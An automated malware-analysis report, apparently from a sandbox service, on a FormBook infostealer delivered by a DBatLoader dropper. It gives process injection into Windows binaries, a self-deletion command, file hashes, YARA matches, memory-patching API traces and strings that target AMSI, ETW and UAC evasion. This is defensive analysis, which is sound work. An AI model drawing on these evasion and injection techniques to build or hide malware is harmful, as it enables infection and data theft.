Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000000.00000002.2333009592.0000000014D50000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000000.00000002.2333009592.0000000014D50000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000000.00000002.2333009592.0000000014D50000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000000.00000002.2333009592.0000000014D50000.00000040.00001000.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000000.00000002.2333009592.0000000014D50000.00000040.00001000.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000000.00000002.2332347871.0000000014B9A000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000000.00000002.2332347871.0000000014B9A000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000000.00000002.2332347871.0000000014B9A000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000000.00000002.2332347871.0000000014B9A000.00000004.00001000.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000000.00000002.2332347871.0000000014B9A000.00000004.00001000.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000000.00000003.2317053804.000000007EBB0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000000.00000003.2317053804.000000007EBB0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000000.00000003.2317053804.000000007EBB0000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000000.00000003.2317053804.000000007EBB0000.00000004.00001000.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000000.00000003.2317053804.000000007EBB0000.00000004.00001000.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	14:56:19
Start date:	30/11/2023
Path:	C:\Windows\SysWOW64\colorcpl.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\System32\colorcpl.exe
Imagebase:	0x1d0000
File size:	86'528 bytes
MD5 hash:	DB71E132EBF1FEB6E93E8A2A0F0C903D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000003.00000002.2387834740.0000000005280000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000003.00000002.2387834740.0000000005280000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000003.00000002.2387834740.0000000005280000.00000040.10000000.00040000.00000000.sdmp, Author: unknown Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000003.00000002.2387834740.0000000005280000.00000040.10000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000003.00000002.2387834740.0000000005280000.00000040.10000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000003.00000002.2387807340.0000000005250000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000003.00000002.2387807340.0000000005250000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000003.00000002.2387807340.0000000005250000.00000040.10000000.00040000.00000000.sdmp, Author: unknown Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000003.00000002.2387807340.0000000005250000.00000040.10000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000003.00000002.2387807340.0000000005250000.00000040.10000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000003.00000002.2388135598.00000000068B0000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000003.00000002.2388135598.00000000068B0000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000003.00000002.2388135598.00000000068B0000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000003.00000002.2388135598.00000000068B0000.00000040.00000400.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000003.00000002.2388135598.00000000068B0000.00000040.00000400.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	14:56:21
Start date:	30/11/2023
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0x7ff609140000
File size:	5'141'208 bytes
MD5 hash:	662F4F92FDE3557E86D110526BB578D5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	14:56:24
Start date:	30/11/2023
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\rundll32.exe
Imagebase:	0xc00000
File size:	61'440 bytes
MD5 hash:	889B99C52A60DD49227C5E485A016679
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000006.00000002.4615095340.0000000000BA0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000006.00000002.4615095340.0000000000BA0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000006.00000002.4615095340.0000000000BA0000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000006.00000002.4615095340.0000000000BA0000.00000004.00000800.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000006.00000002.4615095340.0000000000BA0000.00000004.00000800.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000006.00000002.4608973113.0000000000710000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000006.00000002.4608973113.0000000000710000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000006.00000002.4608973113.0000000000710000.00000040.80000000.00040000.00000000.sdmp, Author: unknown Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000006.00000002.4608973113.0000000000710000.00000040.80000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000006.00000002.4608973113.0000000000710000.00000040.80000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000006.00000002.4614921342.0000000000B60000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000006.00000002.4614921342.0000000000B60000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000006.00000002.4614921342.0000000000B60000.00000040.10000000.00040000.00000000.sdmp, Author: unknown Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000006.00000002.4614921342.0000000000B60000.00000040.10000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000006.00000002.4614921342.0000000000B60000.00000040.10000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	14:56:27
Start date:	30/11/2023
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	/c del "C:\Windows\SysWOW64\colorcpl.exe"
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	14:56:27
Start date:	30/11/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	14:56:28
Start date:	30/11/2023
Path:	C:\Users\Public\Libraries\Telragab.PIF
Wow64 process (32bit):	true
Commandline:	"C:\Users\Public\Libraries\Telragab.PIF"
Imagebase:	0x400000
File size:	2'403'840 bytes
MD5 hash:	072D323C28E7BA4D63EB7DF9894F33C9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: C:\Users\Public\Libraries\Telragab.PIF, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 70%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	14:56:38
Start date:	30/11/2023
Path:	C:\Users\Public\Libraries\Telragab.PIF
Wow64 process (32bit):	true
Commandline:	"C:\Users\Public\Libraries\Telragab.PIF"
Imagebase:	0x400000
File size:	2'403'840 bytes
MD5 hash:	072D323C28E7BA4D63EB7DF9894F33C9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	Borland Delphi
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	14:56:46
Start date:	30/11/2023
Path:	C:\Windows\SysWOW64\colorcpl.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\System32\colorcpl.exe
Imagebase:	0x1d0000
File size:	86'528 bytes
MD5 hash:	DB71E132EBF1FEB6E93E8A2A0F0C903D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 0000000C.00000002.2614531899.00000000065F0000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000C.00000002.2614531899.00000000065F0000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000C.00000002.2614531899.00000000065F0000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 0000000C.00000002.2614531899.00000000065F0000.00000040.00000400.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 0000000C.00000002.2614531899.00000000065F0000.00000040.00000400.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 0000000C.00000002.2614107141.00000000046D0000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000C.00000002.2614107141.00000000046D0000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000C.00000002.2614107141.00000000046D0000.00000040.10000000.00040000.00000000.sdmp, Author: unknown Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 0000000C.00000002.2614107141.00000000046D0000.00000040.10000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 0000000C.00000002.2614107141.00000000046D0000.00000040.10000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 0000000C.00000002.2614057783.00000000046A0000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000C.00000002.2614057783.00000000046A0000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000C.00000002.2614057783.00000000046A0000.00000040.10000000.00040000.00000000.sdmp, Author: unknown Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 0000000C.00000002.2614057783.00000000046A0000.00000040.10000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 0000000C.00000002.2614057783.00000000046A0000.00000040.10000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	14:56:47
Start date:	30/11/2023
Path:	C:\Windows\SysWOW64\chkdsk.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\chkdsk.exe
Imagebase:	0x590000
File size:	23'040 bytes
MD5 hash:	B4016BEE9D8F3AD3D02DD21C3CAFB922
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 0000000D.00000002.2617984530.0000000004D10000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000D.00000002.2617984530.0000000004D10000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000D.00000002.2617984530.0000000004D10000.00000040.80000000.00040000.00000000.sdmp, Author: unknown Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 0000000D.00000002.2617984530.0000000004D10000.00000040.80000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 0000000D.00000002.2617984530.0000000004D10000.00000040.80000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	14:56:53
Start date:	30/11/2023
Path:	C:\Windows\SysWOW64\SndVol.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\System32\SndVol.exe
Imagebase:	0xf90000
File size:	226'712 bytes
MD5 hash:	BD4A1CC3429ED1251E5185A72501839B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	17
Start time:	14:56:54
Start date:	30/11/2023
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 368 -s 2180
Imagebase:	0x7c0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	6.9%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	21.8%
Total number of Nodes:	565
Total number of Limit Nodes:	27

Executed Functions

Function 0330CB08 Relevance: 214.5, APIs: 11, Strings: 107, Instructions: 7993COMMON

Download Yara Rule

APIs

InetIsOffline.URL(00000000,00000000,03317507,?,?,?,000002A6,00000000,00000000), ref: 0330CB3D

Part of subcall function 032CFD40: LoadLibraryExA.KERNEL32(00000000,00000000,00000000,00000000,032CFE2B), ref: 032CFD78
Part of subcall function 032CFD40: GetModuleHandleA.KERNEL32(00000000,00000000,00000000,00000000,00000000,032CFE2B), ref: 032CFD86
Part of subcall function 032CFD40: GetProcAddress.KERNEL32(74F60000,00000000), ref: 032CFD9F
Part of subcall function 032CFD40: GetCurrentProcess.KERNEL32(0333035C,17D783FC,00000040,00000004,74F60000,00000000,00000000,00000000,00000000,00000000,00000000,032CFE2B), ref: 032CFDBB
Part of subcall function 032CFD40: NtProtectVirtualMemory.C:\WINDOWS\SYSTEM32\NTDLL(00000000,0333035C,17D783FC,00000040,00000004,74F60000,00000000,00000000,00000000,00000000,00000000,00000000,032CFE2B), ref: 032CFDC1
Part of subcall function 032CFD40: GetCurrentProcess.KERNEL32(0333035C,Function_00006ADC,00000004,03330360,00000000,0333035C,17D783FC,00000040,00000004,74F60000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 032CFDEB
Part of subcall function 032CFD40: NtWriteVirtualMemory.C:\WINDOWS\SYSTEM32\NTDLL(00000000,0333035C,Function_00006ADC,00000004,03330360,00000000,0333035C,17D783FC,00000040,00000004,74F60000,00000000,00000000,00000000,00000000,00000000), ref: 032CFDF1
Part of subcall function 032CFD40: GetCurrentProcess.KERNEL32(00000000,00000000,00000000,0333035C,Function_00006ADC,00000004,03330360,00000000,0333035C,17D783FC,00000040,00000004,74F60000,00000000,00000000,00000000), ref: 032CFDFA
Part of subcall function 032CFD40: NtFlushInstructionCache.C:\WINDOWS\SYSTEM32\NTDLL(00000000,00000000,00000000,00000000,0333035C,Function_00006ADC,00000004,03330360,00000000,0333035C,17D783FC,00000040,00000004,74F60000,00000000,00000000), ref: 032CFE00
Part of subcall function 032CFD40: FreeLibrary.KERNEL32(74F60000,00000000,00000000,00000000,00000000,0333035C,Function_00006ADC,00000004,03330360,00000000,0333035C,17D783FC,00000040,00000004,74F60000,00000000), ref: 032CFE0B

Part of subcall function 032B8DE0: GetFileAttributesA.KERNEL32(00000000,?,0330D60A,ScanString,03330350,0331753C,OpenSession,03330350,0331753C,ScanString,03330350,0331753C,UacScan,03330350,0331753C,UacInitialize), ref: 032B8DEB

Part of subcall function 0330B780: RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,0330B850), ref: 0330B7BB
Part of subcall function 0330B780: NtOpenFile.N(?,00100001,?,?,00000001,00000020,00000000,?,00000000,00000000,00000000,0330B850), ref: 0330B7EB
Part of subcall function 0330B780: NtQueryInformationFile.N(?,?,?,00000018,00000005,?,00100001,?,?,00000001,00000020,00000000,?,00000000,00000000,00000000), ref: 0330B800
Part of subcall function 0330B780: NtReadFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?,00000018,00000005,?,00100001), ref: 0330B82C
Part of subcall function 0330B780: NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?,00000018,00000005,?), ref: 0330B835

Part of subcall function 032B8E04: GetFileAttributesA.KERNEL32(00000000,?,03310668,ScanString,03330350,0331753C,OpenSession,03330350,0331753C,OpenSession,03330350,0331753C,ScanBuffer,03330350,0331753C,ScanString), ref: 032B8E0F

Part of subcall function 032B8FCC: CreateDirectoryA.KERNEL32(00000000,00000000,?,0331070E,ScanBuffer,03330350,0331753C,ScanString,03330350,0331753C,OpenSession,03330350,0331753C,OpenSession,03330350,0331753C), ref: 032B8FD9

Part of subcall function 0330B69C: RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,0330B76E), ref: 0330B6DB
Part of subcall function 0330B69C: NtCreateFile.N(?,00100002,?,?,00000000,00000000,00000001,00000002,00000020,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 0330B715
Part of subcall function 0330B69C: NtWriteFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000,00000001), ref: 0330B742
Part of subcall function 0330B69C: NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000), ref: 0330B74B

Strings

LdrLoadDll, xrefs: 03316C05
GET, xrefs: 0330F827
CreateProcessA, xrefs: 033164B2
NtQuerySystemInformation, xrefs: 0331642B
Ntdll, xrefs: 03316430, 0331643F, 0331644E, 0331645D
NtAlertResumeThread, xrefs: 0331623A
EtwEventWrite, xrefs: 03316D04
.png, xrefs: 0330DBEF, 0330E2F7, 03316D42, 03316D88, 03316DD2, 03316DF9
CreateProcessW, xrefs: 033164C1
NtOpenSection, xrefs: 03316AD3
WinHttp.WinHttpRequest.5.1, xrefs: 0330F70E
NtDeviceIoControlFile, xrefs: 0331643A
NtQuerySecurityObject, xrefs: 03316B9F
endpointdlp, xrefs: 0331608D, 033160C0, 033160F3, 03316126
FindCertsByIssuer, xrefs: 0330CE76
SLGatherMigrationBlob, xrefs: 033169D4
advapi32, xrefs: 0331543B
NtMapViewOfSection, xrefs: 03316B39
BCryptRegisterProvider, xrefs: 0330D11C, 0331532A
EnumServicesStatusW, xrefs: 03316476
acS, xrefs: 03312462
spp, xrefs: 03316985
VirtualAlloc, xrefs: 03316695
iexpress.exe, xrefs: 0330D81C
DllGetActivationFactory, xrefs: 0330D27A
VirtualAllocEx, xrefs: 033166C8
EnumServicesStatusExA, xrefs: 03316485
smartscreenps, xrefs: 0330D25E, 0330D291, 0330D2C4
sppwmi, xrefs: 033169B8
Advapi, xrefs: 0331646C, 0331647B, 0331648A, 03316499, 033164D5, 033164E4, 033164F3
WintrustAddActionID, xrefs: 0330CE4C
[InternetShortcut], xrefs: 033114FE
UacScan, xrefs: 0330CC3A, 0330D2E6, 0330D3DE, 0330D882, 0330E850, 0330EDB2, 0330F698, 0330FCB3, 03310ED5, 03311203, 03311C9A, 03312081, 03312273, 0331238E, 03313ED3, 03314070, 0331420B, 0331455A, 033148EE, 033149FB, 03314BD0, 0331501B, 0331519A, 03315505, 03315627, 0331597C, 03315A99, 03315D4B
ScanString, xrefs: 0330CDCA, 0330CEAF, 0330D040, 0330D1D1, 0330D45A, 0330D579, 0330D9F6, 0330EA72, 0330EC0E, 0330F0C6, 0330F16D, 0330F265, 0330F48A, 0330F7B0, 0330F9D4, 0330FA79, 0330FDBE, 033100F7, 03310307, 033105D6, 03310B64, 03310D10, 03310FCD, 0331148E, 03311603, 033116BB, 03311D3C, 03311F89, 03313F4F, 0331496A, 03314D76, 03314E87, 03315292, 033157F6, 03315CCF, 03315DDD, 033161C4, 033163BB, 0331661F, 033168F8, 03316E26
DlpGetArchiveFileTraceInfo, xrefs: 033160DC
NtSetSecurityObject, xrefs: 0331544A
SetUnhandledExceptionFilter, xrefs: 033167C7
sppc, xrefs: 033169EB, 03316A1E
NtReadVirtualMemory, xrefs: 03316B6C
I_QueryTagInformation, xrefs: 03315436
C:\Users\Public\Libraries, xrefs: 0330DA6B
UacUninitialize, xrefs: 033121F7
@^@, xrefs: 0330F13C
wintrust, xrefs: 0330CE36, 0330CE5D, 0330CE8D
EnumServicesStatusExW, xrefs: 03316494
RtlAllocateHeap, xrefs: 0331626D, 033162D3
NtOpenProcess, xrefs: 0331545E, 0331708B
Kernel32, xrefs: 033164B7, 033164C6, 03316511
NtCreateSection, xrefs: 03316B06
CryptSIPGetSignedDataMsg, xrefs: 0330D007
CreateProcessAsUserW, xrefs: 033164DF, 0331650C
connect, xrefs: 033164FD
DlpNotifyPreDragDrop, xrefs: 03316076
NtQueryVirtualMemory, xrefs: 03316A6D
HotKey=, xrefs: 03311695
NtQueryDirectoryFile, xrefs: 03316449
.url, xrefs: 03310A20
C:\\Users\\Public\\Libraries\\, xrefs: 03310E78
ws2_32, xrefs: 03316502
TrustOpenStores, xrefs: 0330CE25
ntdll, xrefs: 0331544F, 03315463, 03316251, 03316284, 033162B7, 033162EA, 0331631D, 03316A51, 03316A84, 03316AB7, 03316AEA, 03316B1D, 03316B50, 03316B83, 03316BB6, 03316BE9, 03316C1C, 03316C4F, 03316C82, 03316CB5, 03316CE8, 03316D1B, 03317090
kernel32, xrefs: 033166AC, 033166DF, 03316712, 03316745, 03316778, 033167AB, 033167DE
DllRegisterServer, xrefs: 0330D2AD
NtGetWriteWatch, xrefs: 03316A3A
DllGetClassObject, xrefs: 0330D247, 03310790, 033169A1
EtwEventWriteEx, xrefs: 03316CD1
BCryptQueryProviderRegistration, xrefs: 0330D0E9, 03315316
MZP, xrefs: 03315A6E
UacInitialize, xrefs: 0330CBD6, 0330D362, 0330D97A, 03310A6C, 03313DC6, 03314A77, 033156A3, 03316527
ScanBuffer, xrefs: 0330CD02, 0330CF2B, 0330D155, 0330D69A, 0330D7A7, 0330DAFD, 0330DD2E, 0330DE58, 0330DFF4, 0330E189, 0330E205, 0330E8CC, 0330EB16, 0330ED24, 0330EE2E, 0330EF52, 0330F380, 0330F51D, 0330F8C8, 0330FC17, 0330FEDB, 0331004F, 0331020F, 033103BD, 0331067C, 033107E9, 03310914, 03310E08, 033110C5, 03311187, 033112FB, 03311377, 03311C1E, 03311EDC, 0331217B, 03313D4A, 0331418F, 033142A6, 03314443, 033144DE, 033145D6, 03314C4C, 03314F88, 03315113, 033153C6, 0331571F, 033159F8, 03315B15, 03315BD7, 03316000, 03316F9A
CryptSIPVerifyIndirectData, xrefs: 0330CFD4
^^Nc, xrefs: 0330DF4A, 0330EAE8
psapi, xrefs: 033164A8
BCryptVerifySignature, xrefs: 0330D0B6, 03315302, 03315ECF
NtWaitForSingleObject, xrefs: 033162A0
can, xrefs: 03312475
OpenSession, xrefs: 0330CC9E, 0330CD66, 0330D4FD, 0330D61E, 0330D72B, 0330DB79, 0330DCB2, 0330DED4, 0330DF78, 0330E10D, 0330E281, 0330E948, 0330E9F6, 0330ECA8, 0330EED6, 0330EFCE, 0330F1E9, 0330F599, 0330F61C, 0330F734, 0330F84C, 0330F958, 0330FB9B, 0330FE3A, 0330FFD3, 03310173, 03310439, 0331055A, 03310865, 03310990, 03310AE8, 03310C18, 03310C94, 03311049, 0331127F, 033113F3, 03311587, 03311737, 03311BA2, 03311DB8, 03311E60, 03312005, 03312312, 03313E42, 03313FCB, 033140EC, 03314322, 033143C7, 03314652, 033147F6, 03314AF3, 03314CFA, 03314E0B, 03314F0C, 03315216, 0331534A, 03315581, 03315872, 03315900, 03315C53, 03315E59, 03315F08, 03316148, 0331633F, 033165A3, 0331687C, 03316EA2, 03317016
Initialize, xrefs: 0330CB72, 0330D8FE, 0330DA81, 0330DC36, 0330DDDC, 0330E091, 0330EB92, 0330F04A, 0330F304, 0330F40E, 0330FAF5, 0330FD2F, 0330FF57, 0331028B, 0331071A, 03310D8C, 03310F51, 03314872, 03315097, 03315489, 03315F84, 03316800, 03316F1E
LdrGetProcedureAddress, xrefs: 03316C38
CreateProcessAsUserA, xrefs: 033164D0
C:\Windows\System32\, xrefs: 0330D5F5, 03314049, 03314B85
RtlQueryProcessDebugInformation, xrefs: 03316458
mssip32, xrefs: 0330CFB8, 0330CFEB, 0330D01E
CryptSIPGetInfo, xrefs: 0330CFA1
RtlCreateQueryDebugBuffer, xrefs: 03316306
VirtualProtect, xrefs: 033166FB
OpenProcess, xrefs: 0331672E
URL=file:", xrefs: 0331150D
DlpCheckIsCloudSyncApp, xrefs: 033160A9
EnumServicesStatusA, xrefs: 03316467
SxTracerGetThreadContextDebug, xrefs: 0331696E
FlushInstructionCache, xrefs: 03316794
NtWriteVirtualMemory, xrefs: 03316C6B
bcrypt, xrefs: 0330D0CD, 0330D100, 0330D133, 03315307, 0331531B, 0331532F, 03315EE6
IconIndex=, xrefs: 03311561
NtOpenFile, xrefs: 03316C9E
http, xrefs: 0330F4FA
NtQueryInformationThread, xrefs: 03316AA0
NtAccessCheck, xrefs: 03316BD2
C:\Users\Public\, xrefs: 03310A15, 033117A7
CreateProcessWithLogonW, xrefs: 033164EE
DlpGetWebSiteAccess, xrefs: 0331610F
DEEX, xrefs: 0330CB4B
C:\Windows\SysWOW64, xrefs: 033122E9
SLGetEncryptedPIDEx, xrefs: 03316A07
WriteVirtualMemory, xrefs: 03316761
EnumProcessModules, xrefs: 033164A3

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

